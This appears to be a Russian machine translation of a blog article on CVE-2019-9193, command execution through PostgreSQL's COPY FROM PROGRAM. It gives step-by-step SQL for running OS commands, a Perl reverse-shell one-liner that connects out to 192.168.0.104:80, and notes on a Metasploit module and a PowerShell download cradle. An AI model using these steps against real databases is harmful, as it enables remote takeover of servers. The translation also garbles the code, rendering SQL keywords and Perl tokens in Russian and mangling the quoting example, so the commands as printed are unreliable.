Гостевая статья Выполнение аутентифицированных произвольных команд в PostgreSQL 9.3>

1_Po98Xc6jaTTbAH9tddqkAw.jpeg



PostgreSQL, широко известный как Postgres, является одной из самых больших и популярных систем баз данных в мире. Это основная база данных Mac OSX, но также доступны версии для Linux и Windows.

Сегодня я собираюсь перейти к менее известной «функции» (CVE-2019–9193), которая позволяет определенным пользователям базы данных получить выполнение произвольного кода в контексте пользователя, запускающего экземпляр Postgres. Это то, что по умолчанию включено во всех версиях PostgreSQL с 9.3 до 11.2. Это влияет на все операционные системы, Windows, Linux и Mac.

Начиная с , была реализована новая функциональность для « ». Это позволяет суперпользователю базы данных и любому пользователю в группе 'pg_execute_server_program' запускать произвольные команды операционной системы. Это фактически означает, что не существует разделения привилегий между пользователем суперпользователя базы данных и пользователем, управляющим базой данных в операционной системе.

1_C1B8NKFwe3m3IF2e7aicRw.png



Это недостаток глубокой защиты, который мы привыкли видеть в Microsoft SQL Server еще в начале 2000-х годов, когда функция xp_cmdshell была включена по умолчанию. Это было исправлено и отключено по умолчанию в Microsoft SQL Server 2005, но интересно, как одни и те же ошибки повторяются, по-видимому, циклично.

1_Ff2Nj3nVrJciKZ6RkTQpnA.png



Поскольку этот баг / недостаток / функциональность / эксплойт находится где-то между повышением привилегий и выполнением произвольного кода, он требует некоторой предварительной аутентификации. Это достигается либо путем доступа к базе данных с учетными данными, либо с помощью внедрения SQL-кода в приложении, имеющем PostgreSQL на серверной части. Опять же, в обоих этих случаях необходимо использовать суперпользователя или пользователя с разрешениями 'pg_execute_server_program'.

Чтобы выполнить атаку, вы просто выполните следующие действия:

1) [Необязательно] Удалите таблицу, которую хотите использовать, если она уже существует

DROP TABLE ЕСЛИ СУЩЕСТВУЕТ cmd_exec;

2) Создайте таблицу, в которой вы хотите провести вывод команды

CREATE TABLE cmd_exec (текст cmd_output);

3) Запустите системную команду с помощью функции COPY FROM PROGRAM

COPY cmd_exec ИЗ ПРОГРАММЫ 'id';

4) [Необязательно] Посмотреть результаты

SELECT * FROM cmd_exec;

5) [Необязательно] Убери за собой

DROP TABLE ЕСЛИ СУЩЕСТВУЕТ cmd_exec;

1_xy5graLstJ0KysUCmPMLrw.png



Обратите внимание, что любые одинарные кавычки внутри вашей команды должны быть двойными одинарными кавычками, чтобы избежать их, например, если вы хотите выполнить:

‘echo ‘’hello’’;’

Вам нужно будет поместить его в одинарные кавычки, а затем заменить все одинарные кавычки внутри двойными одинарными кавычками:

‘echo ‘’hello’’;’

Я проверил это на всех основных операционных системах, и если запускается обратная оболочка, вы получаете следующие привилегии:

Windows - NT AUTHORITY / NETWORK SERVICE (низкая привилегия)
Linux - postgres (низкая привилегия)
Mac - пользователь, который установил postgres (обычно администратор)

Linux и Mac OSX обычно можно использовать с помощью perl one liner с помощью такой команды:

КОПИРОВАНИЕ файлов ИЗ ПРОГРАММЫ 'perl -MIO -e' '$ p = fork; выход, если ($ p); $ c = новый IO :: Socket :: INET (PeerAddr, ”192.168.0.104:80"); STDIN- > fdopen ($ c, r); $ ~ -> fdopen ($ c, w); система $ _ while <>; '' ';

Я упростил процессы эксплуатации, выпустив новый модуль Metasploit (который скоро должен быть объединен с основной платформой ), поскольку старые модули postgres_payload работают только до версии 8. postgres_copy_from_program_cmd_exec.rb выполняет все вышеперечисленное автоматически, если вы предоставите это с действительными учетными данными базы данных, которые имеют правильные разрешения. Для SQL-инъекций вам придется выбрать ручной маршрут. Здесь используется PostgreSQL 11.2 в Linux Ubuntu 18.04:

1_bhtdn06Vli9QoChSm9cu9g.png


1_Y7JTmQQ8qybeRJ4NbXmn3A.png


Однако для Windows пользователь NETWORK SERVICE, по-видимому, не имеет никаких прав записи, но все еще можно было запустить обратную оболочку с помощью загрузочной подставки PowerShell. Это можно сделать, установив переменную COMMAND для команды колыбели PowerShell. Обратите внимание, чтобы экранировать одинарные кавычки с обратной косой чертой \. Здесь он использует PostgreSQL 10.7 на Windows 10.

1_zDBxLJbGexssznJpjps8VA.png


1_grD2grN-iHZEfhlkn6yvDw.png


1_EMd59Kvyrum3QUjme_nIDA.png



Я надеюсь, что вы найдете эту новую технику полезной.

Обновление: ранее в этом блоге содержалась ошибка, заключающаяся в том, что на самом деле эту группу могут выполнять пользователи группы pg_execute_server_program, а не пользователи группы pg_read_server_files.

Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!